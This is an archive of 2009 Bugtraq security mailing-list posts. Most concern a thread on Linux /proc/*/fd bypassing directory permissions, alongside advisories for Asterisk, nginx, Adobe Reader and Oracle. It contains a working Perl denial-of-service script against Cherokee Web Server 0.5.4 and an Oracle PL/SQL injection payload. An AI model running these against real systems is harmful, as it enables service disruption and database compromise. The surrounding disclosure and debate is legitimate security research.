Re: /proc filesystem allows bypassing directory permissions on Linux

[Matthew Dempsky]

On Mon, Oct 26, 2009 at 9:01 AM, Tony Finch  wrote:
> Attacker uses openat() to open and modify the "private" file.

At least with Linux 2.6.18, you still need +x permission on the
directory to access its contents using openat(2).

Re: /proc filesystem allows bypassing directory permissions on Linux

[psz]

Dear Casper and Dan,

> If you can control, then clearly you have access the file anyway
> simply by controlling it using a debugger.

Sorry, but no. The "attacker" has the file opened O_RDONLY, and cannot
"upgrade" that to O_RDWR.

Cheers, Paul

Paul Szabo   p...@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of SydneyAustralia

Re: /proc filesystem allows bypassing directory permissions on Linux

[Glynn Clements]

Pavel Machek wrote:

> Check it again.  There's no race; I check link count before chmod 666.

Which creates a race condition, as the link could be created after the
check but before the chmod.

You can't safely rely upon directory permissions if the directory was
created 0777 then chmod'ed down later. It needs to be created with the
restrictive permissions from the outset.

-- 
Glynn Clements 

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 26.10.2009 18:14, nom...@nomail.com wrote:

I do not think mounting /proc should change access control semantics.


It didn't in fact change anything. If the guest created hardlink to that file in

>> a unrestricted location, what would you say?


Do your homework and test it. You can't create the hardlink - the link(oldpath,

> newpath) call will fail with EACCES if search permission is denied for any
> directory in oldpath or newpath. Documented in the manpage, and I just tested
> and verified it.


Good boy. However, there wasn't worth both citing well known facts to me and 
testing them. Remember the scenario from the original mail and try finding a 
window, during which creating a hardlink would still work thus evading directory 
permissions check.

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Kinzel, David]

> -Original Message-
> From: nom...@nomail.com [mailto:nom...@nomail.com]
> Sent: Monday, October 26, 2009 9:15 AM
> To: bugtraq@securityfocus.com
> Subject: Re: Re: /proc filesystem allows bypassing directory
> permissions on Linux
>
> >> I do not think mounting /proc should change access control
> semantics.
> >>
> >It didn't in fact change anything. If the guest created
> hardlink to that file in a unrestricted location, what would you say?
>
> Do your homework and test it. You can't create the hardlink -
> the link(oldpath, newpath) call will fail with EACCES if
> search permission is denied for any directory in oldpath or
> newpath. Documented in the manpage, and I just tested and verified it.
>

It's creating the hardlink (or setting the fd in /proc) before the directory is 
locked down to user-only permissions. You will be allowed access to whatever 
the file allows, despite what the directory permissions are. This seems 
expected to me, since the files will be the same inode. If I'm following this 
correctly it comes down to some distributions treating /proc/*/fd/* as 
hardlinks, for whatever reason.

>
> Fact is, directory permissions are relevant in Unix. Despite
> it's permissions, under the Unix access permission semantics
> the file is unwriteable for anyone but the owner, and this
> bug pokes a hole into that.
>


This email and its contents are private and confidential, for the sole use of 
the addressees. If you are not an intended recipient, copying, forwarding or 
other distribution of this email or its contents by any means is prohibited. If 
you believe that you received this email in error please notify the original 
sender immediately.

Petro-Canada is a Suncor Energy business.



Ce courriel et son contenu sont priv?s et confidentiels, et sont destin?s ? 
l'usage exclusif des destinataires. Si vous n'?tes pas le destinataire pr?vu, 
toute reproduction, transfert ou autre forme de diffusion de ce courriel ou de 
son contenu par quelque moyen que ce soit est interdit. Si vous croyez avoir 
re?u ce courriel par erreur, veuillez en aviser l'exp?diteur original 
imm?diatement.

Petro-Canada est une entreprise de Suncor ?nergie.

AST-2009-007: ACL not respected on SIP INVITE

[Asterisk Security Team]

   Asterisk Project Security Advisory - AST-2009-007

   ++
   |  Product   | Asterisk  |
   |+---|
   |  Summary   | ACL not respected on SIP INVITE   |
   |+---|
   | Nature of Advisory | Unauthorized calls allowed on prohibited networks |
   |+---|
   |   Susceptibility   | Remote unauthorized session   |
   |+---|
   |  Severity  | Critical  |
   |+---|
   |   Exploits Known   | No|
   |+---|
   |Reported On | October 18, 2009  |
   |+---|
   |Reported By | Thomas Athineou   |
   |+---|
   | Posted On  | October 26, 2009  |
   |+---|
   |  Last Updated On   | October 26, 2009  |
   |+---|
   |  Advisory Contact  | Jeff Peeler|
   |+---|
   |  CVE Name  |   |
   ++

   ++
   | Description | A missing ACL check for handling SIP INVITEs allows a|
   | | device to make calls on networks intended to be  |
   | | prohibited as defined by the "deny" and "permit" lines   |
   | | in sip.conf. The ACL check for handling SIP  |
   | | registrations was not affected.  |
   ++

   ++
   | Resolution | Users should upgrade to a version listed in the   |
   || "Corrected In" section below. |
   ++

   ++
   |   Affected Versions|
   ||
   |Product| Release Series |   |
   |---++---|
   | Asterisk Open Source  | 1.2.x  | Unaffected|
   |---++---|
   | Asterisk Open Source  | 1.4.x  | Unaffected|
   |---++---|
   | Asterisk Open Source  | 1.6.x  | All 1.6.1 versions|
   |---++---|
   |Asterisk Addons| 1.2.x  | Unaffected|
   |---++---|
   |Asterisk Addons| 1.4.x  | Unaffected|
   |---++---|
   |Asterisk Addons| 1.6.x  | Unaffected|
   |---++---|
   |   Asterisk Business Edition   | A.x.x  | Unaffected|
   |---++---|
   |   Asterisk Business Edition   | B.x.x  | Unaffected|
   |---++---|
   |   Asterisk Business Edition   | C.x.x  | Unaffected|
   |---++---|
   |  AsteriskNOW  |  1.5   | Unaffected|
   |---++---|
   |  s800i (Asterisk Appliance)   | 1.2.x  | Unaffected|
   ++

   +--

Cherokee Web Server 0.5.4 Denial Of Service

[usman]

Disclaimer: [This code is for Educational Purposes , I would Not be
responsible for any misuse of this code]

[*] Download Page : http://www.cherokee-project.com/download/windows/

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Exploitation :


#!/usr/bin/perl
# Cherokee Web Server 0.5.4 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for
any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [25/10/09]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = "AUX";

$stuff = "GET /".$packet." HTTP/1.1\r\n" .
"User-Agent:Bitch/1.0 (Windows NT 5.1; U; en)\r\n" .
"Host:$host\r\n".
"Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n".
"Accept-Language: en-US,en;q=0.9\r\n".
"Accept-Charset: iso-8859-1,*,utf-8\r\n".
"Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n\r\n";


use IO::Socket::INET;
if (! defined $ARGV[0])
{
print "++\n";
print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n";
print "+ Author [Usman Saeed] +\n";
print "+ Company [Xc0re Security Research Group] +\n";
print "+ DATE: [25/10/09] +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";
print "+ Disclaimer: [This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "++\n";

exit;
}

$sock = IO::Socket::INET->new( Proto => "tcp",PeerAddr => $host , PeerPort
=> $PORT) || die "Cant connect to $host!";
print "++\n";
print "+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n";
print "+ Author [Usman Saeed] +\n";
print "+ Company [Xc0re Security Research Group] +\n";
print "+ DATE: [25/10/09] +\n";
print "+ Usage :perl sploit.pl webserversip wbsvrport +\n";
print "+ Disclaimer: [This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n";
print "++\n";


print "\n";
print "[*] Initializing\n";
sleep(2);
print "[*] Sendin DOS Packet \n";
send ($sock , $stuff , 0);
print "[*] Crashed :) \n";
$res = recv($sock,$response,1024,0);
print $response;

exit;

Re: /proc filesystem allows bypassing directory permissions on Linux

[Isara Beaumont]

Dan Yefimov said:

>> I do not think mounting /proc should change access control semantics.
>>
>It didn't in fact change anything. If the guest created hardlink to that file 
>in
>a unrestricted location, what would you say? Procfs is in that respect just
>another sort of hardlinks, whether you like that or not. If you didn't in fact
>restrict an access to the file, you're on your own.

(1) This is WRONG, and I find it interesting that nobody bothered to check
or test this. The POSIX standard mandates that link() shall fail if
the user has no search
permission for any of the directories in the path prefix of oldpath or newpath.

Therefore, setting the directory permission to 0700 protects from hardlink
creation (read that again!) and this bug in the /proc filesystem
indeed lead to a
change in access control semantics. Under POSIX, the file IS unwriteable,
because it is protected by the permissions on the parent directory.

(2) While it's irrelevant for his argument, the script by Pavel Machek has a
race condition. The 'chmod 700 /tmp/my_priv' should be done before the
file is created, not
afterwards. Otherwise there is a window where the file exists, but hardlink
creation is not prevented by the directory permissions.

Isara

Re: /proc filesystem allows bypassing directory permissions on Linux

[Ansgar Wiechers]

On 2009-10-24 Derek Martin wrote:
> 1. It circumvents the fact that to write to a file, you MUST be able
> to write to its directory, so that the file attributes can be updated.

Wrong, because the file's attributes aren't stored in the directory, but
in the respective inode.

Regards
Ansgar Wiechers
-- 
"All vulnerabilities deserve a public fear period prior to patches
becoming available."
--Jason Coombs on Bugtraq

Re: /proc filesystem allows bypassing directory permissions on Linux

[Joel Maslak]

On Oct 23, 2009, at 3:56 PM, Pavel Machek  wrote:


Demonstrate how to get access to the file with /proc unmounted and you
have a point. Demonstrate how to get access on anything else then
Linux and you have a point. Otherwise there's a security hole.


If the directory is mounted via NFS or is exported there are several  
ways...so software written to assume directory permissions are  
sufficent to protect users from other unpriveliged users is broken in  
general. Even if it is usually secure enough on non-Linux. It is not  
always. 

[SECURITY] [DSA-1920-1] New nginx packages fix denial of service

[Stefan Fritsch]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- 
Debian Security Advisory DSA-1920-1  secur...@debian.org
http://www.debian.org/security/   Stefan Fritsch
October 26, 2009  http://www.debian.org/security/faq
- 

Vulnerability  : denial of service
Problem type   : remote
Debian-specific: no
CVE Id(s)  : no CVE Id yet
Debian Bug : 552035

A denial of service vulnerability has been found in nginx, a small and
efficient web server.

Jasson Bell discovered that a remote attacker could cause a denial of service
(segmentation fault) by sending a crafted request.

For the old stable distribution (etch), this problem has been fixed in version
0.4.13-2+etch3

For the stable distribution (lenny), this problem has been fixed in version
0.6.32-3+lenny3

For the testing (squeeze) and unstable (sid) distributions, this problem has
been fixed in version 0.7.62-1


We recommend that you upgrade your nginx package.

Upgrade instructions
- 

wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
will update the internal database
apt-get upgrade
will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- ---

Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips,
mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13.orig.tar.gz
Size/MD5 checksum:   436610 d385a1e7a23020d421531818d5606b5b
  http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3.dsc
Size/MD5 checksum:  611 c4e1baf967a3dbb19a28bf2da8c32fdb
  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3.diff.gz
Size/MD5 checksum: 6822 794447a883501912bf6f448b9a561293

alpha architecture (DEC Alpha)

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_alpha.deb
Size/MD5 checksum:   211432 14edf103968d05ed6b3f0149e790881c

amd64 architecture (AMD x86_64 (AMD64))

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_amd64.deb
Size/MD5 checksum:   196040 70ac342b4cf946ad70d9914c5bc54d38

arm architecture (ARM)

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_arm.deb
Size/MD5 checksum:   187230 0caef4e2898e11690a49eb45a539ad37

hppa architecture (HP PA RISC)

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_hppa.deb
Size/MD5 checksum:   205304 05e92ede05223ee00832a7fa22f8712f

i386 architecture (Intel ia32)

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_i386.deb
Size/MD5 checksum:   184404 764b3c087859dcf45d888fe6c7f55176

ia64 architecture (Intel ia64)

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_ia64.deb
Size/MD5 checksum:   278594 4ae16a2fe0a790a1eb567aa2a2c909ea

mips architecture (MIPS (Big Endian))

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_mips.deb
Size/MD5 checksum:   208380 a7408a0c1f14f235aec3c9f3a12d5694

mipsel architecture (MIPS (Little Endian))

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_mipsel.deb
Size/MD5 checksum:   207790 67255cb5b5848c714921d0a44abd449d

powerpc architecture (PowerPC)

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_powerpc.deb
Size/MD5 checksum:   18 a0a0505d498f51d2a63e615e8e3e8fe7

s390 architecture (IBM S/390)

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_s390.deb
Size/MD5 checksum:   199838 b0d4f3cc9878b0280a8e56a0bd29bd53

sparc architecture (Sun SPARC/UltraSPARC)

  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.4.13-2+etch3_sparc.deb
Size/MD5 checksum:   185332 9fdd4b7725b4060a311d7f35f9266cfb


Debian GNU/Linux 5.0 alias lenny
- 

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64,
mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32.orig.tar.gz
Size/MD5 checksum:   522183 c09a2ace3c91f45dabbb608b11e48ed1
  http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3.dsc
Size/MD5 checksum: 1231 0acea5f6912c80de2c6b54b16c7f008b
  
http://security.debian.org/pool/updates/main/n/nginx/nginx_0.6.32-3+lenny3.diff.gz
Size/MD5 checksum:10814 a5c652551a6457c8ead36578a5ba59bb

alpha architecture (DEC Alpha)

  
http://security.debian.org/pool

Re: /proc filesystem allows bypassing directory permissions on Linux

[Klaus Lichtenwalder]

Am Samstag, den 24.10.2009, 01:12 +0400 schrieb Dan Yefimov:
> On 24.10.2009 0:35, Matthew Bergin wrote:
> > doesnt look like the original owner is trying to write to it. Shows it
> > cant, it had guest write to it via the proc folders bad permissions.
> > Looks legitimate
> >
> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an 
> attacker? 
> No, that was the owner of 'unwritable_file', nobody else. What the 0666 file 
> mode means? It means, that everybody can write to the file, can't he? So why 
> do 
> you believe that pretension legitimate?

Well, at first I would say this might definitely somewhat unexpected.
It's correct otoh, that you shouldn't be too lax with files when you
think you "secured" them somewhere in the path... 
But if you think of /proc/x/fd as *hard* links to the files, then the
behavior would not be surprising, which might help...

(You might have this as a "real world scenario" if you have some brain
dead application which you try to secure in this way...)

Klaus

-- 
 
 Klaus Lichtenwalder, Dipl. Inform.,  http://lklaus.homelinux.org/Klaus/
 PGP Key fingerprint: A5C0 F73A 2C83 96EE 766B  9C62 DB6D 1258 0E9B B6D1



signature.asc
Description: Dies ist ein digital signierter Nachrichtenteil

Re: /proc filesystem allows bypassing directory permissions on Linux

[Tamber Penketh]

On Friday 23 October 2009 23:39:24 Pavel Machek wrote:

> Check it again.  There's no race; I check link count before chmod 666.
And between checking the link count and the chmod?


signature.asc
Description: This is a digitally signed message part.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 26.10.2009 18:58, Pavel Machek wrote:

guest certianly does not have permission to ptrace() pavel's
processes, so...


But guest has permissions to ptrace() his own processes. If we
remember your original report, he abuses input redirection of bash
run by himself. So again, there's no real security hole here.


guest abuses ptrace permissions on his own processes to write to
pavel's files... no, that obviously is not security hole :-).


guest abuses ptrace permissions on his own processes to write to ANY
file open by his processes, whose permissions explicitly allow
writing to it. Doesn't it trouble you, that guest's processes still


I repeat: Show me how to gain write access without using /proc, and
I'll agree with you.


By using hardlinks, as you were already told by two different persons.


(To recap:

While file permissions allow writing, directory permissions do not
allow any access at all.

guest has open file descriptor for reading.

Trouble is that guest can upgrade file descriptor to one that allows
writing.)

Enough substituting terms. guest doesn't upgrade file descriptors, he only gets 
new ones by using debugging features on his own processes.



Can we continue on lkml?

No, I'm not in that list. The more, that Linux maintainers, AFAIK, already 
expressed their opinion. Thus continuing this discussion there can be considered 
importunate. If you want them to change their opinion, demonstrate the real, not 
artificially invented problem, that in fact demonstrates only file owner negligence.

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Tony Finch]

Pavel Machek  wrote:
>
>pa...@toy:/tmp$ uname -a
>Linux toy.ucw.cz 2.6.32-rc3 #21 Mon Oct 19 07:32:02 CEST 2009 armv5tel 
>GNU/Linux
>pa...@toy:/tmp mkdir my_priv; cd my_priv

Attacker opens my_priv and waits.

>pa...@toy:/tmp/my_priv$ echo this file should never be writable > 
>unwritable_file
># lock down directory
>pa...@toy:/tmp/my_priv$ chmod 700 .
># relax file permissions, directory is private, so this is safe
># check link count on unwritable_file. We would not want someone 
># to have a hard link to work around our permissions, would we?
>pa...@toy:/tmp/my_priv$ chmod 666 unwritable_file 
>pa...@toy:/tmp/my_priv$ cat unwritable_file 
>this file should never be writable

Attacker uses openat() to open and modify the "private" file.

>pa...@toy:/tmp/my_priv$ cat unwritable_file 
>got you
># Security problem here
>
>Unexpected? Well, yes, to me anyway. Linux specific? Yes, I think so.

Not quite, as described above: there's a permissions race which
allowed the attacker to open the my_priv directory. Once you
have an fd on a directory it's possible to open any file inside
without a full-path permissions check. If you created the directory
using `mkdir -m 0700` (eliminating the race) then you should be safe.

Tony.
-- 
f.anthony.n.finchhttp://dotat.at/
DOVER WIGHT: WEST OR NORTHWEST 5 TO 7 DECREASING 4, THEN BACKING SOUTHEAST
LATER. MODERATE OR ROUGH. DRIZZLE LATER. GOOD, BECOMING MODERATE LATER.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

> >>>guest certianly does not have permission to ptrace() pavel's
> >>>processes, so...
> >>
> >>But guest has permissions to ptrace() his own processes. If we
> >>remember your original report, he abuses input redirection of bash
> >>run by himself. So again, there's no real security hole here.
> >
> >guest abuses ptrace permissions on his own processes to write to
> >pavel's files... no, that obviously is not security hole :-).
> >
> guest abuses ptrace permissions on his own processes to write to ANY
> file open by his processes, whose permissions explicitly allow
> writing to it. Doesn't it trouble you, that guest's processes still

I repeat: Show me how to gain write access without using /proc, and
I'll agree with you.

(To recap:

While file permissions allow writing, directory permissions do not
allow any access at all.

guest has open file descriptor for reading.

Trouble is that guest can upgrade file descriptor to one that allows
writing.)

Can we continue on lkml?
Pavel

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) 
http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 26.10.2009 18:26, Pavel Machek wrote:

On Mon 2009-10-26 18:11:56, Dan Yefimov wrote:

On 26.10.2009 18:06, Pavel Machek wrote:

On Mon 2009-10-26 15:37:50, Dan Yefimov wrote:

On 26.10.2009 13:54, p...@maths.usyd.edu.au wrote:

Dear Dan,


... in authentic kernels /proc//fd/are symlinks ...


They appear to /bin/ls as symlinks, but observation suggests that they
"act" as hardlinks. Could that be fixed somehow? (I did look at the
kernel fs/proc/base.c but did not make much sense to me...)


Just looked more carefully at fs/proc/base.c. That behavior is due
to proc_fd_info() called from proc_fd_link() obtains file->f_path,
that in turn contains the reference to the open file dentry and
hence inode. That's exactly why those symlinks behave as hardlinks.
This behavior assumes, that if you were able to open the file,
you've all necessary transition permissions to access it's inode.
But in order to follow them you need privileges to read the process
memory, which hardly restricts the impact of this behavior. I don't
think this should be fixed, since /proc//fd/ is mainly for
debugging purposes.


guest certianly does not have permission to ptrace() pavel's
processes, so...


But guest has permissions to ptrace() his own processes. If we
remember your original report, he abuses input redirection of bash
run by himself. So again, there's no real security hole here.


guest abuses ptrace permissions on his own processes to write to
pavel's files... no, that obviously is not security hole :-).

guest abuses ptrace permissions on his own processes to write to ANY file open 
by his processes, whose permissions explicitly allow writing to it. Doesn't it 
trouble you, that guest's processes still retain open file descriptors and hence 
access to files, that you believe should no longer be accessible to those 
processes due to permissions you set?

--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 26.10.2009 18:30, casper@sun.com wrote:

In Solaris, you don't have permission to access a file in /proc//fd unless
you can control the process.

$ ls -l /proc/1/fd
/proc/1/fd: Permission denied

If you can control, then clearly you have access the file anyway
simply by controlling it using a debugger.


In Linux the same access rules apply.
--

Sincerely Your, Dan.

Re: /proc filesystem allows bypassing directory permissions on Linux

[Stephen Harris]

On Sat, Oct 24, 2009 at 02:31:47AM +0400, Dan Yefimov wrote:
> On 24.10.2009 1:56, Pavel Machek wrote:

> >a) this kind of hardlink does not exist when /proc is mounted (and on
> >non-Linux)

> >(and c) writing to file descriptor opened read-only is bad).

> Did you think of creating a hardlink to the file in an unrestricted 
> location?

Pavel considered that in his original mail, where he checked there were
no links.

Pavel wrote his email in a convoluted way, so it's not clear what's going
on.  Here's an attempt to rewrite:

User1 creates file with permissions 0644
User2 opens file for read access on file descriptor 4
User1 chmod's directory to 0700
User1 chmod's file to 0666
User1 verifies no hard links to file
User2 can not open the file for read or write access
User2 can not write to file descriptor 4
User2 _can_ write to /proc/$$/fd/4

Now user2 is expected to be able to have read-access to the file via
(he opened it in step 2).  If he attempts to write with ">&4" then it
silently fails (on Linux, anyway).  But access via /proc/$$/fd/4 allows
write access.

The real concern appears to be that user2 can write to a file descriptor
opened for read access.

A fix would be to have a mask against every procfs "fd" entry that matches
the open() mode of the file descriptor (or perhaps the mode of the file
when it was opened?).  Thus a write to /proc/$$/fd/4 would fail because
the mask on fd4 would be "read".

I think this is of (very) small concern (no one in their right mind
would do this) but it is an unexpected result and breaks the principle
of least surprise.

FWIW, the same "issue" exists on Solaris 10.  It's not Linux specific.

-- 

rgds
Stephen

Re: /proc filesystem allows bypassing directory permissions on Linux

[Casper . Dik]

Pavel Machek wrote:
>On Sat 2009-10-24 01:12:51, Dan Yefimov wrote:
>> On 24.10.2009 0:35, Matthew Bergin wrote:
>> >doesnt look like the original owner is trying to write to it. Shows it
>> >cant, it had guest write to it via the proc folders bad permissions.
>> >Looks legitimate
>> >
>> Please tell me, who issued 'chmod 0666 unwritable_file'? Was that an
>> attacker? No, that was the owner of 'unwritable_file', nobody else.
>> What the 0666 file mode means? It means, that everybody can write to
>> the file, can't he? So why do you believe that pretension
>> legitimate?
>
>Original owner did chmod 666... after making sure traditional unix
>permissions protect the file. Please look at original mail; it was
>subtle but I believe I got it right, and file would not be writable
>with /proc unmounted.


In Solaris, you don't have permission to access a file in /proc//fd unless
you can control the process .

$ ls -l /proc/1/fd
/proc/1/fd: Permission denied

If you can control , then clearly you have access the file anyway 
simply by controlling it using a debugger.

I agree with Pavel's assessment here.

Casper

Re: /proc filesystem allows bypassing directory permissions on Linux

[Pavel Machek]

On Mon 2009-10-26 18:11:56, Dan Yefimov wrote:
> On 26.10.2009 18:06, Pavel Machek wrote:
> >On Mon 2009-10-26 15:37:50, Dan Yefimov wrote:
> >>On 26.10.2009 13:54, p...@maths.usyd.edu.au wrote:
> >>>Dear Dan,
> >>>
> ... in authentic kernels /proc//fd/   are symlinks ...
> >>>
> >>>They appear to /bin/ls as symlinks, but observation suggests that they
> >>>"act" as hardlinks. Could that be fixed somehow? (I did look at the
> >>>kernel fs/proc/base.c but did not make much sense to me...)
> >>>
> >>Just looked more carefully at fs/proc/base.c. That behavior is due
> >>to proc_fd_info() called from proc_fd_link() obtains file->f_path,
> >>that in turn contains the reference to the open file dentry and
> >>hence inode. That's exactly why those symlinks behave as hardlinks.
> >>This behavior assumes, that if you were able to open the file,
> >>you've all necessary transition permissions to access it's inode.
> >>But in order to follow them you need privileges to read the process
> >>memory, which hardly restricts the impact of this behavior. I don't
> >>think this should be fixed, since /proc//fd/ is mainly for
> >>debugging purposes.
> >
> >guest certianly does not have permission to ptrace() pavel's
> >processes, so...
> 
> But guest has permissions to ptrace() his own processes. If we
> remember your original report, he abuses input redirection of bash
> run by himself. So again, there's no real security hole here.

guest abuses ptrace permissions on his own processes to write to
pavel's files... no, that obviously is not security hole :-).

Whatever. I agree that it is obscure, but I believe that it is
security problem, and the one that should be fixed. By now, someone is
probably working for a fix. (I took a stab at patching kernel, too).

We probably should not continue this debate on bugtraq. Enough was
said already, and right people are probably already aware of this
issue.

(The debate is still relevant on lkml, so lets continue discussion
there).
Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) 
http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: Re: /proc filesystem allows bypassing directory permissions on Linux

[nomail]

>> I do not think mounting /proc should change access control semantics.
>>
>It didn't in fact change anything. If the guest created hardlink to that file 
>in a unrestricted location, what would you say?

Do your homework and test it. You can't create the hardlink - the link(oldpath, 
newpath) call will fail with EACCES if search permission is denied for any 
directory in oldpath or newpath. Documented in the manpage, and I just tested 
and verified it.

Fact is, directory permissions are relevant in Unix. Despite it's permissions, 
under the Unix access permission semantics the file is unwriteable for anyone 
but the owner, and this bug pokes a hole into that.

[DSECRG-09-010] Oracle 10g CTXSYS.DRVXTABC - plsql injection

[DSecRG]

Digital Security Research Group [DSecRG] Advisory   #DSECRG-09-010
http://dsecrg.com/pages/vul/show.php?id=110

Application:Oracle Database 10G 
Versions Affected:  Oracle 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4
Vendor URL: http://oracle.com
Bugs:   PL/SQL Injections
Exploits:   YES
Reported:   29.01.2008
Vendor response:31.01.2008 
CVE:CVE-2009-1991 
SVSS2:  3.6   
Date of Public Advisory:26.10.2009
Authors:Alexandr Polyakov
Digital Security Research Group [DSecRG] 
(research [at] dsecrg [dot] com)

Description
***

Oracle Database 10G and 9g vulnerable to PL/SQL Injection.
PL/SQL Injection found in procedure ctxsys.drvxtabc.create_tables

Details
***

PL/SQL Injection found in procedure ctxsys.drvxtabc.create_tables 

ctxsys.drvxtabc.create_tables  has 3 parameters 

 idx_owner - varchar2
 idx_name  - varchar2
 idxid - number


idx_owner and idx_name are vulnerable to SQL Injection


***
Example:


exec ctxsys.drvxtabc.create_tables('SH"."SH2KERR" (X NUMBER)--','y',2);


Fix Information
***


Information was published in CPU October 2009.
All customers can download CPU patches following instructions from: 

http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html
 


Credits
***

Oracle give a credits for Alexander Polyakov from Digital Security Company in 
CPU October 2009.

http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html
 

Current advisory:

http://dsecrg.com/pages/vul/show.php?id=110



About
*
Digital Security is one of the leading IT security companies in CEMEA, 
providing information security consulting, audit and penetration testing 
services, risk analysis and ISMS-related services and certification for ISO/IEC 
27001:2005 and PCI DSS standards. Digital Security Research Group focuses on 
application and database security problems with vulnerability reports, 
advisories and whitepapers posted regularly on our website.


Contact:research [at] dsecrg [dot] com
http://www.dsecrg.com

Re: /proc filesystem allows bypassing directory permissions on Linux

[Dan Yefimov]

On 25.10.2009 2:40, p...@maths.usyd.edu.au wrote:

Dear Pavel,


... that's exactly the problem.


I see, the /proc/*/fd/* objects seem "confused": are they symlinks,
hardlinks, or open file descriptors? I guess should always act as
the latter, where access mode flags (O_RDONLY or O_RDWR) are set at
open() and not changeable afterwards in fcntl(). Any open() on them
should behave as a dup().

Paul, in authentic kernels /proc//fd/ are symlinks, not anything other. 
There're no such publicly accessible file objects, as file descriptors, there're 
only files (including special ones), directories and symlinks. But the above 
words don't necessary relate to patched kernels like distributed by third parties.

--

Sincerely Your, Dan.

[ GLSA 200910-03 ] Adobe Reader: Multiple vulnerabilities

[Alex Legler]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200910-03
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: Adobe Reader: Multiple vulnerabilities
  Date: October 25, 2009
  Bugs: #289016
ID: 200910-03

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


Multiple vulnerabilities in Adobe Reader might result in the execution
of arbitrary code, or other attacks.

Background
==

Adobe Reader (formerly Adobe Acrobat Reader) is a closed-source PDF
reader.

Affected packages
=

---
 Package/  Vulnerable  /Unaffected
---
  1  app-text/acroread< 9.2 >= 9.2

Description
===

Multiple vulnerabilities were discovered in Adobe Reader. For further
information please consult the CVE entries and the Adobe Security
Bulletin referenced below.

Impact
==

A remote attacker might entice a user to open a specially crafted PDF
file, possibly resulting in the execution of arbitrary code with the
privileges of the user running the application, Denial of Service, the
creation of arbitrary files on the victim's system, "Trust Manager"
bypass, or social engineering attacks.

Workaround
==

There is no known workaround at this time.

Resolution
==

All Adobe Reader users should upgrade to the latest version:

# emerge --sync
# emerge --ask --oneshot --verbose =app-text/acroread-9.2

References
==

  [ 1 ] APSB09-15
http://www.adobe.com/support/security/bulletins/apsb09-15.html
  [ 2 ] CVE-2007-0045
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0045
  [ 3 ] CVE-2007-0048
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0048
  [ 4 ] CVE-2009-2979
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2979
  [ 5 ] CVE-2009-2980
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2980
  [ 6 ] CVE-2009-2981
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2981
  [ 7 ] CVE-2009-2982
